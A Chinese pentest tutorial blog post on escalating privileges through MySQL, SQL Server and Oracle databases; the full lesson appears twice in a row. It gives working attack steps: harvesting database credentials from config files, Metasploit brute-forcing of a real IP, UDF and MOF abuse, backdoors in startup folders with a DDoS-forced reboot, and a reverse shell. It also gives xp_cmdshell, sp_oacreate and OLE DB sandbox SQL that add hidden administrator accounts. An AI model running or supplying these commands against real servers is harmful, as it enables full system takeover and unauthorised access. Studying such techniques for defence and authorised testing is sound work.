六十.权限提升-MY&MS&ORA 等 SQL 数据库提权
2022年 10月 08 日

BIGFISH

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:

  • 服务器开启数据库服务以及获取到最高权限用户密码。
  • 除Access数据库外,其他数据库基本上都存在数据库提权的可能。

提权流程;

  • 服务探针---->信息收集----->提权利用----->获取权限

常见数据库对应端口资料

  • [blockquote2 name='签名']一、关系型数据库
    1、MySql数据库 ,默认端口是: 3306
    2、Oracle数据库 ,默认端口号为:1521
    3、Sql Server数据库 ,默认端口号为:1433
    4、DB2数据库, 默认端口号为:5000
    5、PostgreSQL数据库, 默认端口号为:5432
    6、国产的DM达梦数据库, 默认端口号为:5236
    二、NoSql数据库(非关系型数据库):
    1.Redis数据库,默认端口号:6379
    2.Memcached数据库,默认端口号:11211
    3.MongoDB数据库,默认端口号:27017;[/blockquote2]

本课重点:

  • 数据库应用提权在权限提升中的意义
  • WEB或本地环境如何探针数据库应用
  • 数据库提权权限用户密码收集等方法
  • 目前数据库提权对应的技术及方法等

案例演示:

  • 案例1:MySQL数据库提权演示-脚本&MSF
  • 案例2:Mssql数据库提权演示-连接客户端
  • 案例3:Oracle数据库提权演示-自动化工具

案例1:MySQL数据库提权演示-脚本&MSF

环境准备:

  • 阿里云服务器,windows2012操作系统,php+mysql环境搭建,已上传后门并取得webshell权限

mysql提权流程:

  • 服务探针-信息收集-提权利用-获取权限

服务器开启了3306 端口,但是不允许root外链的情况,我们可以在shell里面执行如下的语句来开启root用户的外连,方便我们提权。

  • [blockquote2 name='签名']GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
    [/blockquote2]

1、服务探针

  • 连接webshell,对目标服务器进行端口扫描,发现开放了3306端口,说明服务器部署了MySQL数据库。

2、信息收集

  • MySQL的最高权限的用户名为root,尝试获取root的密码。
  • 方法1:读取网站数据库配置文件
    • 这种方法的关键是了解其命名规则及查找技巧。可以重点查看带有关键字的配置文件,常见的关键字有sql、data、inc、config、conn、database、common、include等。
    • 举例1:database.php
    • 举例2:config.inc.php
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-624zoEww-1651235597952)(image60/60-1.png)]
    • 举例3:conn.info.php
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JPMGi3p9-1651235597953)(image60/60-2.png)]
    • 举例4:config.ini.php
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zdJ855E2-1651235597953)(image60/60-3.png)]
    • 当然在实战中,即使你找到了配置文件,系统也不一定用的是root用户。
  • 方法2:读取数据库存储或备份文件
    • 首先,我们了解一下MySQL数据库存储格式及对应内容。
    • @@basedir/data/数据库名/表名.myd,表名.myd文件中的内容对应的就是表的内容
    • 1.查找数据库表
      • 举例1:在mysql文件夹下查找
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AjdhhJUO-1651235597955)(image60/60-4.png)]
      • 举例2:在mysql命令中,查找mysql文件夹
      • select @@basedir as basePath from dual
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YOfl8NDN-1651235597954)(image60/60-5.png)]
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KLhLYbn4-1651235597954)(image60/60-6.png)]
    • 2.查找数据库中存储信息
      • 举例1:在mysql命令中查询用户名密码时,我们用到了如下SQL语句。
        • select * from mysql.user
      • 举例2:在mysql文件中查找查询用户名密码时
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wYPjlKdO-1651235597956)(image60/60-8.png)]
  • 方法3:利用脚本暴力猜解
    • 获取数据库最高权限密码,一般我们使用前两种方法居多,如果前两种方法实在用不了,我们才考虑使用暴力猜解。暴力猜解之前,需要先了解数据库是否支持外联以及如何开启外联。
    • 若数据库支持外联,可以远程本地暴力猜解;
    • 若数据库不支持外联,可以服务器本地暴力猜解。
    • 但是,其实root账户一般是不支持外联的,所以没法使用工具进行本地暴力猜解,但是我们可以将脚本通过webshell上传到服务器,在服务器本地使用脚本暴力猜解。脚本可以从网上自行下载。
    • 演示
      • <1>数据库支持外联,使用msf工具远程本地暴力猜解。相关命令
        • msfconsole
        • search mysql
        • use auxiliary/scanner/mysql/mysql_login
        • show options
        • set rhost 47.99.71.28
        • set username root
        • set pass_file /opt/mysql_pwd.txt
        • show options
        • exploit
      • <2>数据库不支持外联,使用脚本在服务器本地暴力猜解。
        • 网上搜了一个PHP版Mysql爆破小脚本,成功爆破出密码。
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9ApyQQOi-1651235597956)(image60/60-9.png)]

3、提权利用

  • 3.1 UDF提权
    • 我们优先选择使用UDF提权。
    • <1>获取mysql版本,确定导出目录。
      • mysql版本不同,UDF导出目录也会有所不同。
      • 1.mysql<5.1 导出到c:/windows或system32目录
      • 2.mysql>=5.1 导出到安装目录/lib/plugin(mysql初始安装时,plugin目录默认不存在)。
      • 1.执行select version();语句,获取mysql版本为5.5.53。
      • 2.执行select @@basedir;语句,获取mysql的安装路径。
      • 3.可以直接进入安装目录/lib/下查看plugin是否存在(或者执行show variables like '%plugin%';语句查看)
      • 4.如果plugin目录不存在,需要手工创建plugin目录或利用NTFS流创建。
    • <2>利用自定义执行函数导出dll文件进行命令执行
      • 1.在工具上,点击mysql提权进入配置页面,输入用户名密码,将可加载路径改为plugin下,后面的mysqlDLL.dll不变,点击安装DLL。
      • 2.如果总是安装失败,换个工具试试首先root连接
      • 3.这个工具有个好处就是会自动帮你把plugin目录写上去,所以我们直接点击导出udf即可。如下图,导出成功。
      • 4.然后使用自带命令创建cmdshell即可。如下图所示,创建成功。(如果创建失败的话,可以重启环境试试。失败原因猜测是集成在PHPstudy中的mysql问题)
      • 5.接下来就可以 查看用户、查看权限、查看端口等。
      • 6.后续还可以添加账户名密码,连接它的远程端口来实现控制服务器的目的。常用命令如下
      • 7.简单来说,这个工具原理就是执行如下语句。
      • 8.总结一下,UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能。这里的自定义函数要以dll形式写成mysql的插件,提供给mysql来使用。也就是说我们可以通过编写dll文件来实现我们需要的功能。利用UDF提权需要知道root账户的密码,并且需要目标系统是Windows。可以使用现成的udf提权工具,也可以手工测试。
  • 3.2 MOF提权(基于MySQL特性的安全问题)
    • 导出自定义mof文件到系统目录加载
    • mof提权的原理:
      • mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
    • 以下是mof提权的过程:
      • 将mof上传至任意可读可写目录下,这里我传到C:/phpStudy/PHPTutorial/WWW/目录下,命名为user_add.mof。
      • 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
      • 替换的sql语句:select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
      • mof文件代码如下所示:
        • 可见其中是有一段添加用户的脚本。账号为admin 密码为admin
      • 经过测试,这个方式成功率不高。
  • 3.3 启动项提权(基于配合操作系统自启动)
    • 导出自定义可执行文件到启动目录配合重启执行
    • 将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!
    • 演示案例
      • <1>如果mysql数据库没有开启外联,当我们拿到数据库最高权限后,可以执行SQL自行开启外联。
      • <2>使用msf提权,相关命令:

        • 如下图所示,后门上传成功。
      • <3>由于上传目录为启动目录,当服务器重启时,就会加载执行。那如何让服务器重启呢?一般就是DDS攻击。之后还可以使用Cobalt Strike渗透测试神器 继续。
  • 3.4 反弹shell提权(基于利用反弹特性命令执行)
    • <1>首先,执行命令nc -l -p 5577监听端口
    • <2>用上面那个工具,点击 创建反弹函数,点击 执行。
    • <3>输入自定义SQL语句:select backshell('你的IP',5577),点击 执行。
    • <4>反弹成功。
    • <5>可以执行命令试一下

案例2:Mssql数据库提权演示-连接客户端

环境准备:windows2008、SqlServer2008

流程:服务探针-信息收集-提权利用-获取权限

1、使用xp_cmdshell进行提权

  • <1>通过查看服务器配置文件得到sa账户密码为admin。
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-08noojWx-1651235597964)(image60/60-25.png)]
  • <2>由于mssql默认支持外联,因为可以本地通过SqlServer2008客户端使用sa账户密码连接。Navicat也能连接,但是推荐用官方的。
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eyUSdP4K-1651235597964)(image60/60-26.png)]
  • <3>启用xp_cmdshell。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4TK6JjV1-1651235597965)(image60/60-28.png)]
  • <4>接下来,我们就可以执行任意命令了。

    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eFP3K7ey-1651235597965)(image60/60-29.png)]
  • <5>如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
    • exex master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
    • xp_cmdshell在数据库-系统数据库-master-可编程性-扩展存储过程-系统扩展存储过程目录下。

2、使用sp_oacreate进行提权

  • 主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
  • <1>启用sp_oacreate
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-leA8vk4S-1651235597966)(image60/60-32.png)]
  • <2>执行命令

    • 执行whoami查看权限:

      declare @shell int exec sp_oacreate 'wscript.shell' @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\1.txt'


      添加用户:

      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-btN5CpTr-1651235597967)(image60/60-33.png)]

3、使用SqlServer沙盒提权

  • 1.依次执行下列sql语句
    • --提权语句

      exec sp_configure 'show advanced options',1;reconfigure;


      -- 不开启的话在执行xp_regwrite会提示让我们开启

      exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;


      --关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

      exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;


      --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

      exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'


      --执行系统命令

      select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

      select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')


      沙盒模式SandBoxMode参数含义(默认是2)

      `0`:在任何所有者中禁止启用安全模式

      `1`:为仅在允许范围内

      `2`:必须在access模式下

      `3`:完全开启

      openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。


      --恢复配置(暂不执行)

      --exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

      --exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

      --exec sp_configure 'show advanced options',0;reconfigure;
  • 2.成功创建用户。
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Zh1kp7p1-1651235597971)(image60/60-42.png)]

案例3:Oracle数据库提权演示-自动化工具

1、普通用户模式:

  • 前提是拥有一个普通的Oracle连接账号。不需要DBA权限,可提权至DBA,并以Oracle实例运行的权限执行操作系统命令。

2、DBA用户模式:(自动化工具演示)

  • 拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
  • 案例演示
    • <1>首先读取配置文件,获取到一个Oracle账号密码。
    • <2>工具连接。若账号是普通账号,选择普通模式,若账号是DBA账号,选择DBA模式。然后输入数据库相关信息,点击连接。提示payload发送成功。
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Mn6MI0KQ-1651235597973)(image60/60-48.png)]
    • <3>提权成功,接下来可以任意执行命令了。
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n4PmP4l6-1651235597973)(image60/60-49.png)]
      • 也可以点击文件管理,操作文件。
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0M8ArGHV-1651235597976)(image60/60-50.png)]
      • 还可以反弹shell。
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YrLI28qG-1651235597976)(image60/60-51.png)]
    • <4>若没有账号密码,但是有注入点,还可以用这个工具的注入模式,进行注入提权。

3、注入提升模式:(sqlmap测试演示)

  • 拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
  • 说明:对于JSP网站,当前获取到它的网站权限后,不需要提权。因为它的网站权限就是系统权限,jsp自带system。因为一般Oracle数据库会和jsp搭配使用,所以当你拥有一个注入点时,你会发现,这个注入点本身就拥有system权限。
  • 命令:sqlmap.py -u http://192.168.131.142:8080/sql.jsp?id-7698 --is-dba

相关资料

六十.权限提升-MY&MS&ORA 等 SQL 数据库提权

在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:

  • 服务器开启数据库服务以及获取到最高权限用户密码。
  • 除Access数据库外,其他数据库基本上都存在数据库提权的可能。

提权流程;

  • 服务探针---->信息收集----->提权利用----->获取权限

常见数据库对应端口资料

  • [blockquote2 name='签名']一、关系型数据库
    1、MySql数据库 ,默认端口是: 3306
    2、Oracle数据库 ,默认端口号为:1521
    3、Sql Server数据库 ,默认端口号为:1433
    4、DB2数据库, 默认端口号为:5000
    5、PostgreSQL数据库, 默认端口号为:5432
    6、国产的DM达梦数据库, 默认端口号为:5236
    二、NoSql数据库(非关系型数据库):
    1.Redis数据库,默认端口号:6379
    2.Memcached数据库,默认端口号:11211
    3.MongoDB数据库,默认端口号:27017;[/blockquote2]

本课重点:

  • 数据库应用提权在权限提升中的意义
  • WEB或本地环境如何探针数据库应用
  • 数据库提权权限用户密码收集等方法
  • 目前数据库提权对应的技术及方法等

案例演示:

  • 案例1:MySQL数据库提权演示-脚本&MSF
  • 案例2:Mssql数据库提权演示-连接客户端
  • 案例3:Oracle数据库提权演示-自动化工具

案例1:MySQL数据库提权演示-脚本&MSF

环境准备:

  • 阿里云服务器,windows2012操作系统,php+mysql环境搭建,已上传后门并取得webshell权限

mysql提权流程:

  • 服务探针-信息收集-提权利用-获取权限

服务器开启了3306 端口,但是不允许root外链的情况,我们可以在shell里面执行如下的语句来开启root用户的外连,方便我们提权。

  • [blockquote2 name='签名']GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
    [/blockquote2]

1、服务探针

  • 连接webshell,对目标服务器进行端口扫描,发现开放了3306端口,说明服务器部署了MySQL数据库。

2、信息收集

  • MySQL的最高权限的用户名为root,尝试获取root的密码。
  • 方法1:读取网站数据库配置文件
    • 这种方法的关键是了解其命名规则及查找技巧。可以重点查看带有关键字的配置文件,常见的关键字有sql、data、inc、config、conn、database、common、include等。
    • 举例1:database.php
    • 举例2:config.inc.php
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-624zoEww-1651235597952)(image60/60-1.png)]
    • 举例3:conn.info.php
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JPMGi3p9-1651235597953)(image60/60-2.png)]
    • 举例4:config.ini.php
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zdJ855E2-1651235597953)(image60/60-3.png)]
    • 当然在实战中,即使你找到了配置文件,系统也不一定用的是root用户。
  • 方法2:读取数据库存储或备份文件
    • 首先,我们了解一下MySQL数据库存储格式及对应内容。
    • @@basedir/data/数据库名/表名.myd,表名.myd文件中的内容对应的就是表的内容
    • 1.查找数据库表
      • 举例1:在mysql文件夹下查找
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AjdhhJUO-1651235597955)(image60/60-4.png)]
      • 举例2:在mysql命令中,查找mysql文件夹
      • select @@basedir as basePath from dual
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YOfl8NDN-1651235597954)(image60/60-5.png)]
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KLhLYbn4-1651235597954)(image60/60-6.png)]
    • 2.查找数据库中存储信息
      • 举例1:在mysql命令中查询用户名密码时,我们用到了如下SQL语句。
        • select * from mysql.user
      • 举例2:在mysql文件中查找查询用户名密码时
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wYPjlKdO-1651235597956)(image60/60-8.png)]
  • 方法3:利用脚本暴力猜解
    • 获取数据库最高权限密码,一般我们使用前两种方法居多,如果前两种方法实在用不了,我们才考虑使用暴力猜解。暴力猜解之前,需要先了解数据库是否支持外联以及如何开启外联。
    • 若数据库支持外联,可以远程本地暴力猜解;
    • 若数据库不支持外联,可以服务器本地暴力猜解。
    • 但是,其实root账户一般是不支持外联的,所以没法使用工具进行本地暴力猜解,但是我们可以将脚本通过webshell上传到服务器,在服务器本地使用脚本暴力猜解。脚本可以从网上自行下载。
    • 演示
      • <1>数据库支持外联,使用msf工具远程本地暴力猜解。相关命令
        • msfconsole
        • search mysql
        • use auxiliary/scanner/mysql/mysql_login
        • show options
        • set rhost 47.99.71.28
        • set username root
        • set pass_file /opt/mysql_pwd.txt
        • show options
        • exploit
      • <2>数据库不支持外联,使用脚本在服务器本地暴力猜解。
        • 网上搜了一个PHP版Mysql爆破小脚本,成功爆破出密码。
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9ApyQQOi-1651235597956)(image60/60-9.png)]

3、提权利用

  • 3.1 UDF提权
    • 我们优先选择使用UDF提权。
    • <1>获取mysql版本,确定导出目录。
      • mysql版本不同,UDF导出目录也会有所不同。
      • 1.mysql<5.1 导出到c:/windows或system32目录
      • 2.mysql>=5.1 导出到安装目录/lib/plugin(mysql初始安装时,plugin目录默认不存在)。
      • 1.执行select version();语句,获取mysql版本为5.5.53。
      • 2.执行select @@basedir;语句,获取mysql的安装路径。
      • 3.可以直接进入安装目录/lib/下查看plugin是否存在(或者执行show variables like '%plugin%';语句查看)
      • 4.如果plugin目录不存在,需要手工创建plugin目录或利用NTFS流创建。
    • <2>利用自定义执行函数导出dll文件进行命令执行
      • 1.在工具上,点击mysql提权进入配置页面,输入用户名密码,将可加载路径改为plugin下,后面的mysqlDLL.dll不变,点击安装DLL。
      • 2.如果总是安装失败,换个工具试试首先root连接
      • 3.这个工具有个好处就是会自动帮你把plugin目录写上去,所以我们直接点击导出udf即可。如下图,导出成功。
      • 4.然后使用自带命令创建cmdshell即可。如下图所示,创建成功。(如果创建失败的话,可以重启环境试试。失败原因猜测是集成在PHPstudy中的mysql问题)
      • 5.接下来就可以 查看用户、查看权限、查看端口等。
      • 6.后续还可以添加账户名密码,连接它的远程端口来实现控制服务器的目的。常用命令如下
      • 7.简单来说,这个工具原理就是执行如下语句。
      • 8.总结一下,UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能。这里的自定义函数要以dll形式写成mysql的插件,提供给mysql来使用。也就是说我们可以通过编写dll文件来实现我们需要的功能。利用UDF提权需要知道root账户的密码,并且需要目标系统是Windows。可以使用现成的udf提权工具,也可以手工测试。
  • 3.2 MOF提权(基于MySQL特性的安全问题)
    • 导出自定义mof文件到系统目录加载
    • mof提权的原理:
      • mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
    • 以下是mof提权的过程:
      • 将mof上传至任意可读可写目录下,这里我传到C:/phpStudy/PHPTutorial/WWW/目录下,命名为user_add.mof。
      • 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
      • 替换的sql语句:select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
      • mof文件代码如下所示:
        • 可见其中是有一段添加用户的脚本。账号为admin 密码为admin
      • 经过测试,这个方式成功率不高。
  • 3.3 启动项提权(基于配合操作系统自启动)
    • 导出自定义可执行文件到启动目录配合重启执行
    • 将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!
    • 演示案例
      • <1>如果mysql数据库没有开启外联,当我们拿到数据库最高权限后,可以执行SQL自行开启外联。
      • <2>使用msf提权,相关命令:

        • 如下图所示,后门上传成功。
      • <3>由于上传目录为启动目录,当服务器重启时,就会加载执行。那如何让服务器重启呢?一般就是DDS攻击。之后还可以使用Cobalt Strike渗透测试神器 继续。
  • 3.4 反弹shell提权(基于利用反弹特性命令执行)
    • <1>首先,执行命令nc -l -p 5577监听端口
    • <2>用上面那个工具,点击 创建反弹函数,点击 执行。
    • <3>输入自定义SQL语句:select backshell('你的IP',5577),点击 执行。
    • <4>反弹成功。
    • <5>可以执行命令试一下

案例2:Mssql数据库提权演示-连接客户端

环境准备:windows2008、SqlServer2008

流程:服务探针-信息收集-提权利用-获取权限

1、使用xp_cmdshell进行提权

  • <1>通过查看服务器配置文件得到sa账户密码为admin。
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-08noojWx-1651235597964)(image60/60-25.png)]
  • <2>由于mssql默认支持外联,因为可以本地通过SqlServer2008客户端使用sa账户密码连接。Navicat也能连接,但是推荐用官方的。
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eyUSdP4K-1651235597964)(image60/60-26.png)]
  • <3>启用xp_cmdshell。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4TK6JjV1-1651235597965)(image60/60-28.png)]
  • <4>接下来,我们就可以执行任意命令了。

    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eFP3K7ey-1651235597965)(image60/60-29.png)]
  • <5>如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
    • exex master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
    • xp_cmdshell在数据库-系统数据库-master-可编程性-扩展存储过程-系统扩展存储过程目录下。

2、使用sp_oacreate进行提权

  • 主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
  • <1>启用sp_oacreate
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-leA8vk4S-1651235597966)(image60/60-32.png)]
  • <2>执行命令

    • 执行whoami查看权限:

      declare @shell int exec sp_oacreate 'wscript.shell' @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\1.txt'


      添加用户:

      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-btN5CpTr-1651235597967)(image60/60-33.png)]

3、使用SqlServer沙盒提权

  • 1.依次执行下列sql语句
    • --提权语句

      exec sp_configure 'show advanced options',1;reconfigure;


      -- 不开启的话在执行xp_regwrite会提示让我们开启

      exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;


      --关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

      exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;


      --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

      exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'


      --执行系统命令

      select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

      select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')


      沙盒模式SandBoxMode参数含义(默认是2)

      `0`:在任何所有者中禁止启用安全模式

      `1`:为仅在允许范围内

      `2`:必须在access模式下

      `3`:完全开启

      openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。


      --恢复配置(暂不执行)

      --exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

      --exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

      --exec sp_configure 'show advanced options',0;reconfigure;
  • 2.成功创建用户。
    • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Zh1kp7p1-1651235597971)(image60/60-42.png)]

案例3:Oracle数据库提权演示-自动化工具

1、普通用户模式:

  • 前提是拥有一个普通的Oracle连接账号。不需要DBA权限,可提权至DBA,并以Oracle实例运行的权限执行操作系统命令。

2、DBA用户模式:(自动化工具演示)

  • 拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
  • 案例演示
    • <1>首先读取配置文件,获取到一个Oracle账号密码。
    • <2>工具连接。若账号是普通账号,选择普通模式,若账号是DBA账号,选择DBA模式。然后输入数据库相关信息,点击连接。提示payload发送成功。
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Mn6MI0KQ-1651235597973)(image60/60-48.png)]
    • <3>提权成功,接下来可以任意执行命令了。
      • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n4PmP4l6-1651235597973)(image60/60-49.png)]
      • 也可以点击文件管理,操作文件。
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0M8ArGHV-1651235597976)(image60/60-50.png)]
      • 还可以反弹shell。
        • [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YrLI28qG-1651235597976)(image60/60-51.png)]
    • <4>若没有账号密码,但是有注入点,还可以用这个工具的注入模式,进行注入提权。

3、注入提升模式:(sqlmap测试演示)

  • 拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
  • 说明:对于JSP网站,当前获取到它的网站权限后,不需要提权。因为它的网站权限就是系统权限,jsp自带system。因为一般Oracle数据库会和jsp搭配使用,所以当你拥有一个注入点时,你会发现,这个注入点本身就拥有system权限。
  • 命令:sqlmap.py -u http://192.168.131.142:8080/sql.jsp?id-7698 --is-dba

相关资料

赞 (0)

猜您想看

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论